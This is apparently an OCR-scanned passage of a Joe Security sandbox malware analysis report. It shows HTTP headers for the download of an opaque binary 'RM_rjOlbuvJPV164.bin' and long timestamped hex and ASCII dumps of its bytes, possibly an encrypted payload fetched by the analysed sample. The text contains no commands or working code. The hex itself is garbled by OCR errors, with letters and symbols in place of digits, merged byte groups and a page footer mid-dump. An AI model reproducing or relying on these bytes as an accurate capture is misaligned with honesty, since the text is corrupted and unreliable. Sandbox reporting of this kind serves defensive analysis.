X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-1d, X-Goog-FieldMask, X-Google-
Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-
User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-T
ype, X-Use-HTTP-Status-Code-Override, X-los-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-
VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-
Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-M
eeting-Debugid, X-Goog-Meeting-ldentifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-
Token, X-Goog-Meeting-Viewerlnfo, X-Client-Data, Xx-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-
Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-
Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-
auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-
device-capabilities, X-Server-Timeout

Access-Control-Allow-Methods: GET,OPTIONS

Content-Type: application/octet-stream

Content-Disposition: attachment;filename="RM_rjOlbuvJPV164.bin";filename*=UTF-8"RM_rjOlbuvJPV164.bin
Content-Length: 221760

Date: Wed, 01 Dec 2021 12:26:35 GMT

Expires: Wed, 01 Dec 2021 12:26:35 GMT

Cache-Control: private, max-age=0

X-Goog-Hash: crc32c=cpkKjA==

Server: UploadServer

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Connection: close

Data Raw: 44 23 6d 55 8c 6¢ 8a 4e a7 9a 79 92 3a d9 9c 02 28 39 60 05 1c bf be 03 76 a4 3e f1 42 04 85 78 cb 9f fe e3 32
62 39 40 12 b2 bb 39 c3 6¢ 2d 3e a5 07 e6 d4 cd b8 c6 f4 b3 ee ba f5 53 14 cc 06 40 54 07 3c 48 ea 8e 32 11 f4 97 05 2¢
5c c0 b4 d9 ff da fb 2f 69 9f 25 56 cd bd bf 55 9d d3 9a c3 bf 7b 58 01 86 2b 93 f2 44 68 el 13 61 1f f5 4b d9 42 6b 16 51
ee a0 ad 12 d6 d9 bb c5 3e 46 a0 fa 5b Oe 2c 00 70 87 8e 3e bc b7 39 Oe e0 47 86 c9 e5 c0 02 53 00 a9 5e 53 e4 89 e7 36
7f dc d3 5e 8c 93 b1 5b d6 bf b6 cb 3c d0 7e 17 c7 7 06 3d 4d Ob 98 70 ec 83 d8 57 f2 bd 62 66 29 fa 7a 85 a9 fb b0 92 88
e5 dd bd 65 72 d6 02 a9 de 97 fb 8b 6b b8 49 4a 42 c9 a4 8c 7d ee d9 80 86 dd d4 97 fd d9 Oc b9 db 42 c3 ad 65 43 1e 16
77 77517153 7f c4 c5 75 8b d6 5b 76 ce 20 88

Data Ascii: D#mUINy:(9'v>Bx2b9@9I->S@T<H2,Vi%VU{X+DhaKBkQ>F[,p>9GS"S6"[<~=MpWhbf)zerklIB}BeCwwQqSu[v

Data Raw: fc a3 14 29 55 0a 04 c1 71 cb 45 bb fd 78 fa cb 55 a7 7b 9a f9 57 6d a4 21 31 e3 73 b4 c7 2f c4 18 81 a6 33 55
€9 df 6b 78 04 4b 78 8f e8 ff 5a €3 4d 26 9b 62 25 85 50 4b cc 06 bd c1 07 f6 05 8d 7e cd c6 26 cd 77 26 f6 80 ed cb 60 1b
db af 60 74 4c a0 10 dd 17 1c Oc Oa fd 59 39 30 ce 18 43 99 5a {7 f0 54 f6 23 a4 21 f6 45 3b 97 f5 b8 92 5¢ 94 c5 d4 de 2e
77 9f 76 dd 08 53 2c 89 1e d8 1c c5 9e a4 99 ec c3 95 b8 8a 8f 64 b4 8d bb 2e b5 4d 2a 0a 9f 31 c8 f1 1c 87 Ob 17 58 4a
e2 19 57 67 da da 3e 23 e6 ef c5 19 23 a5 ab da 47 af 15 07 5b ¢9 87 63 18 cc 66 48 59 aa 61 cd eb b5 ed 5a ac 53 cd 95
1b 99 19 Oc c0 fb 61 01 d3 e4 57 95 75 ea ee ea 1d 6a f8 c1 Ob a6 08 d8 27 c0 67 06 ba d0 14 02 c5 a2 el 7a 7b 04 a0 8a
bb d8 1c 7e d3 31 d9 9f 67 3c 1f 12 64 53 ee 63

Data Ascii: JUGEXU{Wm!1s/3UkxKxZM&b%PK~&w& “tLYOCZTHIE;\.wvS,d. M*1XIWg>#4G[cfHYaZSaWuj'gz{~1g<dSc

Data Raw: ea 35 69 fb 58 ee b9 09 e8 58 86 52 9e c9 ed 4f 84 a2 96 d9 73 be 38 b5 f5 99 b3 5d ¢5 36 7f 11 09 c1 6d bl dc
93 fa c1 3a f0 33 3d bb 6a f7 4c 64 55 9e 09 8e Ob Oe 7e eb b3 b9 e7 1d fd 52 40 53 60 b6 ef 82 5d Ob 24 6¢ 8¢ a2 34 8a
63 6 Of 15 ba c5 c2 da a5 bc ed 74 bd cd 92 70 61 6f 51 a4 6a 42 14 62 6e 84 57 80 3d Oc 97 34 4a ea 8e 3a 15 f4 86 13
d8 88 db b4 66 €8 24 fa 03 6b 87 2e 16 ca ab 41 54 b1 d1 8d c8 bf 7c 40 ff 87 07 91 d9 46 43 02 3b 14 1d f5 4d db 6a fO
16 51 e4 88 db 10 d6 df 13 5e 3e 46 a4 fa eb 8c 73 b4 79 4b 87 1d bd fb fe 30 be a3 b0 ba c5 b1 58 a7 67 db 35 16 b3 €8
86 5e 39 28 a7 7e e4 de €9 2b a3 d7 be 39 52 f0 30 70 b1 d7 6b 58 01 f5 b6 7d eb al b9 55 f2 bb 4a fd 29 fa 20 e8 8f fb fc
99 a3 7e 7e 3d 11 Oc dc 8e f6 de 97 fa a3 fO 58 49

Data Ascii: 5iXXR0Os8]6m:3=jLdU~R@S ]$l4ctpaoQjBbnW=4J:f$k. AT|@FC;MjQ">FsyK0Xg5"9(~+9R0pkX}UJ) ~~=XI

Data Raw: 5b 25 56 50 5f 1e bc db 76 a0 77 33 f4 cc €7 17 ¢7 d3 1e 91 8f d1 ad a9 eb 69 e7 4d 21 37 7e 4f f1 c0 28 bd c2
39 fd 3d 4e e5 8e da f5 65 05 00 e0 78 a4 18 19 ec 32 31 3d 9b ad 57 9a €0 31 12 60 23 3b 39 73 bd c5 2f c8 b0 4e f4 03
4a 2d dd 61 56 2c 61 ee 89 e2 dd 4a 27 4f 2c 43 4a 04 af 50 41 6e 16 d5 d8 2f 30 07 f4 78 ca 4f Oe 51 77 26 fc a8 2b c9 39
1d b1 13 60 7e 46 02 01 9d 3f d7 Oc Oa 5a dc 55 20 d4 1e 6b bf 41 c7 ff 3b 2d 22 a4 2b db d3 3b 86 7 ee d5 5¢ 94 cb cc
c5eb 75 9e 7a f3 ea 19 2¢ 83 ea b6 29 cb 9e ae 9b 97 84 1f ba 8a 83 4a 5e ad 5 24 4b 23 07 26 f0 2a c9 ce b4 cb 0b 11
43 45 d5 19 3a 28 dc f2 13 25 ce a9 a8 d4 25 ca fl fc 56 a2 3b e7 14 cb 81 63 5f af 64 48 55 84 29 9f eb bf 88 9c ab 27 fd
b3 0a 9f 5e 96 c2 fb 6d 38 9b ce 65 91 63 c4 e8

Data Ascii: [%VP_vw3iM!7~0(9=Nex21=W1 #;9s/NJ-aV,al'O,CIPAn/0XOQwW&+9 ~F?ZU KA;-"+;\uz,)I"$K#&*CE: (%%
V;c_dHU)“m8ec

Data Raw: 2a f3 93 6d 4a 99 24 cf d5 f1 81 33 1f b4 b7 fO ef 5d 51 57 6d 27 b9 ae 5e 16 eb 79 8b dc e2 95 7b 02 61 fO b8
ee cd fb 70 2c 13 8b ba cd 85 70 61 6f 6e b3 57 6a de 4a 6e 82 7f b9 0d Oe 91 14 63 ea 8e 34 04 {3 f8 d7 d3 a3 ca 9c 45 ff
da f13b 7f b7 17 16 cd bb 99 88 a7 d2 9a c3 9a 53 6f 01 86 21 80 cf 50 7b 6 3b 59 1f f5 41 04 67 6a 16 51 90 ae ad 12
d2 c1 7b 59 3e 46 ae fe 6¢ 15 2c b4 78 59 ef 97 fd ed dc e0 b6 2f €9 18 d4 f0 67 42 70 db 3f 3a ec af 84 58 17 9b fO 7c ee
f0 fe 51 a3 d1 9c¢ 00 43 b0 22 70 cc d5 6b 54 8b 7f f6 64 c9 fO fc 57 f8 ae 20 74 6b 84 3c c0 a9 ff d4 e9 8b e5 74 9f Oa 53
cc2acfdc 97 fd 29 7a 18 61 33 43 c2 af af 1a ec 81 85 ae f5 dc 97 fb ¢8 Ob d6 09 7c b5 a4 4d 93 3¢ 16 71 5f 7f 73 53 79
ab fd 75 8b fc 73 1e cc 22 8e a0 ec 23 5f

Data Ascii: *mJ$3]QWm"y{ap,paonWjJnc4E;So!P{;YAgQ{Y>FI,xY/gBp?:X|QC"pkTdW tk<tS*)za3C|M<q_sSyus"# _
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kBytes
Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 19 IN Data Raw: 81 ef cb 39 1b 82 3d 60 7e 42 a0 10 dd 3e 15 Oc Oa 5f f4 39 22 ce 18 43 99 41 c7 f5 54 d9 2b a4 21 ed 45 3b 86
b1 99 db 5¢ 98 cf a0 ed 34 77 9e 7d db 20 19 2c db 1d b7 57 cb 9e ae 9f 9b a5 d9 b8 85 85 62 94 b7 f5 2e b4 22 67 Oa 9f
54 ¢7 e6 73 ¢7 0b 17 52 31 f4 2b 38 27 da da 34 3f ce a3 c6 19 25 ca fb 56 4e a5 13 21 16 cb 87 ff 7e 9d 66 47 53 ac Oe
85 eb b5 e6 51 ab 27 f7 3c 12 98 76 51 c0 fb 6b 9e 94 €6 57 9c 63 c2 c0 fO 1d 60 ef 81 80 a6 08 1e 29 af 33 08 ba da 18
dl a3 fael 7571 b3 b7 46 36 f3 1d 7e d2 3c da 64 76 4f 46 1c 64 59 fd 96 47 9b 70 2c cc 8e ef 7a c8 ad b1 69 4b ff ed 10
el a3 Oe c0 da 6f 61 35 89 9b 34 33 0a 67 24 3f 09 93 43 cd 35 be 73 10 3c 24 29 fb 66 25 e2 €6 ab c8 f1 ce db a0 ba e6
4d 63 21 56 08 e7 32 24 98 9f e3 c4 42 21 3d 52 3f
Data Ascii: 9="~B>_9"CAT+!E;\4w} ,Wb."gTsR1+8'4?%VN!I~fGSQ'<vQkWc")3ugF6~<dvOFdYGp,ziKoa543g$?C5s<$)f
%Mc!V2$B!=R?

2021-12-01 12:26:35 UTC 20 IN Data Raw: 81 32 6d f3 68 6e €2 05 4f 04 ef 40 d9 45 71 e8 50 c2 ab af 7d 1f d9 3b cf 28 75 6a fe ea 00 2b af 87 4b 83 8e
95 d5 6 2f b2 05 f3 b1 c5 b7 66 c2 66 f7 3d 29 cf ea 81 46 ef b2 8b 7c c5 3 a9 55 5¢ 2e 69 a4 78 f0 3a 58 87 e7 69 52 b0
6e b6 7d c6 89 fc 46 e4 ae 66 5e a9 fa 2a c0 a9 ea f8 84 75 e4 52 3e 03 00 d2 02 b8 da 8f 05 8a 47 51 61 7b 43 c2 af 8a
64 fd 85 83 97 d9 c0 69 fc f5 1d be b4 11 b5 ae 6f 41 51 e6 77 77 5b 5d 00 62 d7 81 75 9a f2 40 88 cf Oe 8f 81 98 b9 54 39
08 a6 31 c6 8d 40 45 c8 de 08 b2 2f aa 13 b2 e2 bb db 12 32 59 23 20 €7 d3 d4 b1 aa 07 99 b0 e7 af fb e7 dd 6e 06 ae bb
c3f8el 18 e4 b4 61 f7 €3 ¢2 97 12 1d 39 07 12 62 02 4a 62 95 b3 77 fa a5 Oe fc 8d cc 35 fe ab 08 ee Of 65 62 30 9d 81
bc 19 a8 cd 3e 05 cd 4c 19 40 9b 95 83 f5 11 73
Data Ascii: 2mhnO@EqP}; (uj+K/ff=)F|U\.ix:XiRn}FA*uR>GQa{CdioAQww[lbu@T91@E/2Y# na9bJbw5eb0>L@s

2021-12-01 12:26:35 UTC 22 IN Data Raw: 1d 87 d5 7 d6 47 ad Of d1 17 e7 94 63 5f 59 64 48 55 84 e7 9d eb b3 88 29 ab 27 fd 9f 06 94 76 57 d8 05 6a 05
8f ce 53 93 63 c4 af 17 1d 60 e4 ee 7e a6 08 d2 2a b6 3f 06 b2 cd e6 04 86 8 f9 76 71 bb aa a2 37 df 0d 78 fa 12 d8 87 79
59 6e 3c 64 59 f7 71 60 d1 6e 2f cc 86 f0 71 36 ac 9c 67 4c d7 96 10 eb a9 8e c6 da 6f 65 24 91 97 34 34 10 99 25 09 1la
95 6a 28 37 be 75 25 d0 26 29 f3 09 5d e2 cd ab c2 ea cd db a8 ac 02 4c 4f 22 41 04 e7 3a 01 80 61 e2 e6 40 Oa 38 22 46
8e 5cde f1 7e ba el 1f 3b 42 55 7¢ 99 98 29 a9 c8 9e 1b 17 50 e8 fe 39 cd 40 a0 8d 15 a9 81 52 66 Oa 1c 97 f5 1c 87 a0
37 60 4e e4 01 d4 36 fa 65 8a €6 5b b4 e5 a9 63 al 13 9d 13 85 20 38 b7 fb 65 f5 da 84 4d ea 25 45 f0 4e 10 b2 0d e3 27
9b 58 97 43 76 de 23 a6 80 ch 78 be 38 c3 0a 99 9f
Data Ascii: Ge_YdHU)'vWjSc ~*?vq7xyYn<dYq n/q6gLoe$44%j(7u%&)]LO"A:a@8"F\~;BU|)PI@R{7 N6e[c 8eM%EN'X
Cv#x8

2021-12-01 12:26:35 UTC 23 IN Data Raw: 9a f3 6d 39 23 9c d6 02 a9 de 86 ff 9c 95 59 65 4b 5b d1 al 87 6¢ ea 9d 7d 87 f1 d9 80 d7 c4 1f bd db 6d b1 b6
9b 42 12 05 09 55 51 71 57 57 3b 85 75 81 99 36 76 ce 28 82 91 83 27 5f 34 1f b8 cf d6 a5 5f 90 92 €9 1e 9d 14 a0 04 ad
1c ab f3 10 ca 37 08 24 f1 d5 b0 87 ae 07 8¢ bc 60 47 d2 e5 d8 79 26 a6 56 c6 d4 c4 00 el 4e 60 ca e4 cc 7a 17 31 27 15
72 b9 03 66 64 30 01 58 5b 57 fd 19 96 df e3 e3 a7 17 9e b9 7b cf 31 a4 85 bc 08 b7 e0 c4 04 66 4c 32 45 8b f9 7c 1b c6
a2 29 8f 29 58 71 a4 b2 aa fb 36 2b 6¢ 03 f0 dd 61 38 ac d1 31 97 a7 03 87 el ed 73 6¢ d8 01 37 7f 58 cf f5 68 ab ee d1 c1
43 6b ed a6 1a e0 56 1b 56 e2 78 a4 16 35 4a 64 17 39 77 e5 57 9c 7 15 3f 79 72 3¢ 3f 5b b1 db 51 el 12 5f b0 03 51 ff
al 44 50 2a 4d 6 3e f4 e6 6e cb 06 2c 45 64 Oe aa
Data Ascii: m9#YeK[[}mBUQqWW,;ubv('_4_7$ Gy&VN z1'rfdOX[W{1fL2E|))Xq6+la81sI7XhCkVVx5JdOwW?yr<?[Q_QDP
*M>n,Ed

2021-12-01 12:26:35 UTC 24 IN Data Raw: 4b fb c5 1a e8 a3 08 e6 fe 6f 61 31 03 93 34 3¢ Oe ba 2d 26 09 93 40 d2 42 8d 6a 73 3e 24 29 f1 4e 2e el cd a7
e0 d5 cldb aa 3af4 4d 63 24 8b e3 e5 32 1e 90 80 9b f9 5b 5f 35 1a 35 74 8b 2d d8 7e bc ¢9 20 Ob 46 5f 37 91 98 29 87
1553 08 15 78 15 el 40 f4 36 ea 85 15 a3 ea 4f 6b 09 16 9b 00 8b 87 a0 3d c5 6e d3 01 d0 el 59 65 a2 19 59 ab 95 89 7e
ff 1b 99 13 81 85 4d b4 fb 62 dO 2e 8 4d e0 a4 65 e4 4e 14 65 b4 el 26 9b 50 81 b6 f2 1f €5 bd 85 dd 77 87 33 af Ob 9e b7
72 cc 20 5d fc 03 c1 6b 17 1b f3 fc c1 2b f6 33 0d 76 72 a5 4a 6d 4a 97 36 fc 29 Oe 78 c5 35 a6 f6 04 79 5a 51 57 72 95
bb ac 5e 1c 1f 6¢c 8¢ b3 36 fa 72 09 Oe 33 d7 e5 c6 e2 44 69 16 8b ba b5 e4 79 60 6b 73 ef 60 43 1e 42 78 7a 56 cc Of 11
85 c2 4a fc 70 33 4a f6 b7 al d3 a3 c0 4a 60 e9 24
Data Ascii: Koal4<-&@Bjs>$)N.:Mc$2[_55t-~ F_7)Sx@60k=nYeY~Mb.MeNe&Pw3r Jk+3vrImJ6)x5yZQWr"6r3Diy ks
“CBxzVJp3JJ'$

2021-12-01 12:26:35 UTC 26 IN Data Raw: d2 6a 36 af 90 d4 e3 f0 0d e9 55 79 25 el f9 8e 07 16 32 d5 1f 97 1c 7c 73 a5 b6 5e 9a 45 fc fd 84 {7 ed f0 b2
0a 48 a9 56 cc 2c a4 8b a3 17 a0 e6 3a 14 51 51 29 be b2 b9 92 5 3f bd e4 4e f3 dd 53 95 1e bd c2 33 34 46 20 ef dd {3
24 b3 c6 e0 96 8b 18 be a2 f7 a5 79 53 3e 2f 6¢ 47 b1 cO 73 b4 c7 03 fe 11 43 fc ad Of ef b3 10 23 d8 56 b7 09 bb ec 69 39
31 al ae 7b 88 d9 2d 3b a4 2b 39 2e 50 8b c1 40 d4 13 5f be 16 7d cc cc 7a 50 3b 52 67 aa 1c d6 4e e9 5¢ 27 5f b4 30 a4
4f 6f df 1c 95 dO 1c eb 25 Oa 7f f7 5¢ Oe d2 76 26 fc 82 fe c0 28 15 f6 22 61 7e 46 b3 1d c2 36 0f 17 Oa 41 ef 26 2e 2a 19 6f
92 50 cc ef 82 f2 29 bb 2c f0 5e 3b 97 ec 8f f5 a2 95 e3 ae ef 3f 7c b6 6e da 20 13 3f 8f Ob 98 44 de 9e bf 84 e4 8e 27 b9
a6 8b 60 85 a6 dd 3c b4 22 6d 19 9b 24 ed
Data Ascii: j5Uy%2|S"EHV,:QQ)?NS34F $yS>/IGSC#Vi91{-1+9.P@ }zP;RgN\'_000%\v&("a~F6A&.*0P),A;?|n ?D"<"m$

2021-12-01 12:26:35 UTC 27 IN Data Raw: 29 af 8d b3 26 54 69 c9 d7 c7 33 e7 76 b5 c3 4c 62 62 91 67 81 12 8a 03 87 bc 4c a6 eb 72 €9 1b d0 5e eb 24
67 f5 41 01 a9 f3 f0 29 99 43 91 e5 d3 07 9b bf 96 d3 62 a0 26 bd 05 4e 49 45 c3 22 46 73 23 d3 6a 13 cc 8c ef ce 31 22 3f
22 47 7a d4 6a 7f 4b 93 14 ab 3a 01 64 3b 02 a9 f4 1f f6 7a 43 56 76 42 fd a3 4f 13 2d 79 81 65 e6 86 74 Oa 1f 36 90 fc c6
€2 44 52 17 9a b5 a9 5d 63 6e 7a 7c 97 b0 55 c8 ¢5 45 84 57 92 1e 0a 95 2d 44 fb 8a 24 04 f1 bf 16 d2 a3 ca b7 70 f3 b5
e7 2e 69 95 1c 3a cc bd bf 5d bd dd 1a c3 bf 3b ¢7 01 86 2b 90 e3 48 07 fc 12 61 15 9a 55 d8 42 61 3e 03 ee a0 ab 01 c2
c8 2f d4 2e 4e 86 b5 el 00 2a a7 6b 4d c3 a5 bd fb f4 2f b4 2f cf fa 9e 93 70 3c 67 db 3f 3e 34 d5 df 70 80 b3 a7 74 59 el
47 a4 88 d1 96 a3 41 e3 2b 4a 85 c4 6¢ 3e Oa 6e
Data Ascii: )&Ti3vLbbgLr$gA)Cb&NIE"Fs#j1"?"GzjK:d;zCVvBO-yet6DR]cnz|UEW-D$p.i:];+HaUBa>/.N*kM//p<g?
>4ptYGA+JI>n

2021-12-01 12:26:35 UTC 28 IN Data Raw: ba €0 92 cd 3c 48 e7 b5 1a df 70 02 28 cd 7a cb 8a bb fd 78 35 10 77 ba 56 9c fb 29 3e cb b9 3b 3f 51 89 ¢3 3e
¢4 06 77 35 19 62 ef c9 ec 57 2a 49 79 9d 6 ¢3 4a 40 4d 2c 4f 7a af 90 50 4b cd 2f a6 c0 07 fe 12 78 41 db 49 27 ef c7 26
6 8ac7 91 39 1b 93 23 b6 f3 67 a0 10 dc 04 1b 1d Oc 44 dc 20 21 d4 1e 5b 15 46 c7 5 55 f2 29 b5 2a f5 54 3¢ 24 e6 9b
cc 4a 18 f0 a0 ed 2f d5 8f 77 ¢8 2¢ 08 20 9d 00 af da ea 9e ae 9e e8 al c8 b5 9¢ 92 fe 85 a0 e2 38 29 33 6a 1d b7 9c ce et
79 ef 1a 1a 44 dc d1 34 29 24 cc 40 1c 34 ce a3 cd ¢9 37 ca fb c1 6f b1 13 2f 1c e3 b3 64 77 97 12 5a 53 ac 15 8c ec a4
€0 40 ac a9 40 8d c1 8e ea 2c e5 fa 6b 23 8e ee 46 9b 77 ea da €9 1d 66 f9 Oc 87 a6 08 d9 33 a3 22 Oa ac cb 1d 2d bb fa
el 70 d3 a2 bb 4f 3d e2 17 6a c6 2b 57 a8 7f 4f
Data Ascii: <Hp(zx5wV)>;?Q>W5bW*lyJ@M,0zPK/xAI'&9#gD ![FU)*T<$J/w, 8)3jyD4)$@470/dwZS@ @, k#Fwf3"-pO=j
+WO

2021-12-01 12:26:35 UTC 29 IN Data Raw: 51 5e 56 41 6e ae 5e 5c¢ f1 68 8¢ b3 43 b3 7a 08 04 2a 9a fO 4a c9 4e 41 13 98 99 ac 93 fd 4a 6b 79 81 79 66 Of
4d 71 9¢ 46 b0 1b 10 bf 2f 4a ea 84 23 10 e2 86 21 c5 bc d8 9c 72 fe da f1 3e 4b 8e 01 79 ea bc bf 5f 8¢ f1 8b e0 dO 53 59
01 8c 3a bl e5 2b 41 e0 13 6b Oe d7 52 b6 68 6a 16 5b ff 82 c2 39 d7 d9 31 d4 3a 50 bf el 6f b7 43 98 78 4a a5 95 98 e4
b4 a2 9f 2f ef bb d6 91 61 19 78 3 2e 1f d2 5 ¢6 70 02 b2 a7 74 9d d3 90 29 a9 c2 b0 b3 74 el 1b 37 b6 d6 6b 58 3a 49
a7 5ac9 9d fd 57 f8 95 35 64 29 fc 02 ee ab fb fa fc 3 €5 7e 37 08 3b d1 13 af cf bf 94 bl 6a 58 43 96 4f d3 83 ab 7a ff a7
ec d1 dd dc 9d 21 de 06 67 c2 7b bf 70 70 44 34 c8 66 52 79 46 53 7f ce 96 5c a3 ce 5b 76 c4 fc 88 8f ba 25 75 64 67 a2
31 d5 89 5a bb 7d f2 0d 99 35 b1 00 b6 37 aa
Data Ascii: Q*"VANMhCz*INAJkyyfMqF/J#!r>Ky_SY:+AkRhj[91:PoCxJ/ax.pt)t7kX:IZW5d)~7;jXCOz!g{ppD4fRyFS\
[v%udg1Z}57

Copyright Joe Security LLC 2021 Page 17 of 37



kBytes
Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 31 IN Data Raw: 68 28 2e ce Oe df 89 4d d0 dd f3 el 22 ae 07 fc 48 28 89 7 81 d4 47 6a ce 8c 90 3a a7 1f 7c db 21 31 38 89 14
bd 7f d9 9d ae 99 e0 21 de b8 8a 84 71 9e bc ff 38 b2 0a 76 0a 9f 31 6¢ f7 79 de 14 33 de 73 fd 2b 39 8a cb d0 2c 34 c9 01
d6 13 3c dc 77 €547 a5 12 8d 07 ¢1 9d 7a 67 11 59 48 53 ad ac 8e el a6 ec 40 a0 33 e3 8e 96 b7 76 5f c1 8 67 38 91 fO
40 0f 72 ce d7 fc 81 71 e2 99 97 3a 19 d4 39 b9 af 17 b6 c0 Oe 99 bb 6 f6 52 d6 b3 b7 56 10 ef Of 71 d2 2d d5 90 81 4e 6a
11 7c 4a f2 67 5f 94 6f 29 32 8f ¢3 6d da ab al 6e 63 e5 ec 10 el bc 05 dd d5 6f 70 34 9¢c 89 ca 3d 26 4d 35 20 13 1f 7d cd
35 bf 5b bd 36 24 23 e2 ea 1a e2 cd a0 e0 41 c1 db aa 92 a6 4d 63 2a 41 de 6a 19 1e 92 9e f0 ce 5d 32 2e 15 35 61 ac 3e
cd 80 bb cd 09 1a 4a 4d 27 a0 64 d5 7c 37 81
Data Ascii: h(.M"H(G;j:|!18!q8v1ly3s+9,4<wGzgYHS@3v_g8@rq:9RVQg-Nj|Jg_o)2mncop4d=&M5 }5[6$#AMc*Aj]2.5a>IM'd|7

2021-12-01 12:26:35 UTC 32 IN Data Raw: al 81 17 d1 5 Of d8 33 46 a7 fe 1f 01 00 be 7b 4f 5 17 a2 f1 ¢7 08 a8 22 ef b3 d2 4e 71 10 65 c3 32 3e cd fc
78 59 3d b1 b0 73 ee ff 8e 20 5d d0 ba a0 79 f5 02 26 6b 28 94 45 22 45 bc 7f e4 ¢3 6d 48 ff 93 60 70 22 ff Of 8a be 2d a8
96 c1 ed 4f 81 0d 39 c5 32 ab de aa fb 8b 6b 1b 49 48 52 d4 a9 ac 52 ee 89 9b 78 dc f0 9a 83 ee Oc b9 df Of fe af 65 49 35
0f 7b 77 59 66 ad 7e e8 87 6d 87 6 53 60 30 23 a4 8a 87 2f 5f 2d 02 5¢ 30 fb 8b 71 b9 e2 3d 0a 9b 7b fd 01 b6 e8 80 df Ob
cc 4b 3f 27 f1 8a ce a2 ae 43 88 b4 eb 47 f6 €0 95 79 24 a8 56 c6 d4 fc 1e e0 4b 48 96 el d5 8e 3b 09 31 0f Oc 94 1a 98
61 92 b2 56 ab 40 fd 03 8d c1 1d f3 8f Oc 67 d7 19 cd 26 bd 99 8f 38 a4 d7 21 09 4a 46 Oe be b2 b9 81 fc 35 aa 36 4f db
51 54 97 09 b0 d1 3e 30 89 32 d8 df c9 3d 87
Data Ascii: 3F{O"Nge2>xY=s Jy&k(E"EmH p"-092kIHRRxel5{wYf~mS 0#/_-\0g={K?'CGy$VKH;1laV@g&8!IJF56 0QT>02=

2021-12-01 12:26:35 UTC 33 IN Data Raw: bd 0a 89 ed a2 f6 55 25 90 df 86 1a 98 7c 74 cb d3 45 2b 9d €0 24 ¢5 62 c2 ca 90 01 67 38 96 5a b1 de 55 Ob
af 33 07 b7 d3 Oe 1e 36 3 f6 78 c5 2f be 45 35 47 80 78 c4 35 c0 80 57 5¢ 47 12 6e 50 f4 €9 f9 83 aa 26 a0 ad ef 60 c8 ad
b0 69 3b bf b6 38 7a a3 Oe c4 6e f3 68 32 0d 2c 23 €6 0f 47 24 24 09 93 1f 79 a9 b7 59 0d 36 24 3a c5 63 25 6b cd al c8
b9 c1 db b1 92 6b 4d 63 2a 54 67 7f 32 1e 98 92 ea 44 f5 01 c2 1a 35 70 92 2a f3 5f b9 e1 02 78 11 54 b7 93 €2 01 14 c8
9e 00 16 17 8f fe 39 cd 23 9c 03 a2 83 11 67 66 0a 27 96 00 8e 84 a0 31 36 31 d2 01 de 46 ef 6e 2c ae 8d bc 61 0d b1l 96
c9 8e c5 08 86 43 b7 fa 6e fe 1c ef d1 ec 33 64 6a f9 a4 24 2c f5 20 83 5b 10 7a €9 15 9a b5 8f db 6b a6 b2 1b dd 90 11 el
78 be 5f 6a 0d d8 62 9d 71 56 f6 4f 9¢ dc 3f 2c 45
Data Ascii: U%[tE+$bg8ZU36Xx/E5GX5W\GNP&'i;8znh2 #G$$yY6$:c%kkMc*Tg2D5p*_xT9#gf'161Fn,aCn3dj$, [zkx_j
bqvO?,E

2021-12-01 12:26:35 UTC 34 IN Data Raw: 2c Of 0a 56 f8 37 27 bb 44 42 98 4b a8 a8 55 el 28 b7 35 c¢8 Oc 2a 92 98 52 db 5¢ 9e e7 3c ed 2e 7d 8d 70 ca
26 1e 3a 8e 9a 00 38 6¢ 9e ae 95 f3 bd d5 b6 8f 94 6e fb f3 f4 2e bf 0a 38 Ob 9f 31 dd ec 5b 5e Ob 17 58 5d {7 44 a0 28 da
d0 27 2e df a5 d6 12 33 db fO 54 fO ca ba 2f 16 c1 96 71 18 5a 66 48 59 81 a0 41 fd a4 f3 24 90 27 {7 94 37 94 67 4b b5 cO
6b 29 9¢ 89 00 93 63 c8 1c fb 1b 67 f8 86 Oe 11 67 71 20 af 39 2e 8b d9 18 03 b9 ff f0 7f 74 b0 b9 58 1e 93 1d 7e d8 31 f2
10 7f 4f 4c 1b Ob c1 fd 67 44 88 74 32 ca 9f eb 76 d9 a9 3e de 24 56 ed 10 el b2 08 ca cc 6b ef 8c ec 32 34 3c 00 4f 7f 24
09 99 6a e0 36 be 75 0b 1e 16 2a f5 60 0d c5 cd al c2 9e 59 db a0 b0 ef 4a 72 26 47 0f f1 23 19 1c 28 8¢ 63 42 21 37 Ob
33 1f de 21 db 74 ae f2 0d 1a 4e 3a e5 99 98
Data Ascii: ,V7'DBKU(5*R\<.}p&:8In.81["X]D(".3T/qZfHYA$'7gKk)cggq 9.tX~10LgDt2v>$Vk24<O$j6u*" Y Ir&G#(cB!73!tN:

2021-12-01 12:26:35 UTC 35 IN Data Raw: 61 05 55 ff a5 c2 39 d7 d9 31 d6 39 57 a9 f4 e5 16 3d b0 7 fd cO aa bc fb fe 24 6a 35 fe bf aa d4 71 3c 6d d2
50 5b c5 ea 8c 84 cf b9 ae 52 e8 ff fe 7e a3 d1 9c 7e 5a f7 55 40 95 d7 61 78 29 6e b7 61 el 89 fe 57 cc bd 78 3e 29 f4 2a
c0 a9 fb fe 93 85 e5 24 55 1b 19 d6 02 a9 de 8c cb 8f 6b df 49 48 43 8f a5 87 6¢ fa 8a f0 e7 dc dc 9d f1 aa 6e b8 db 76 b8
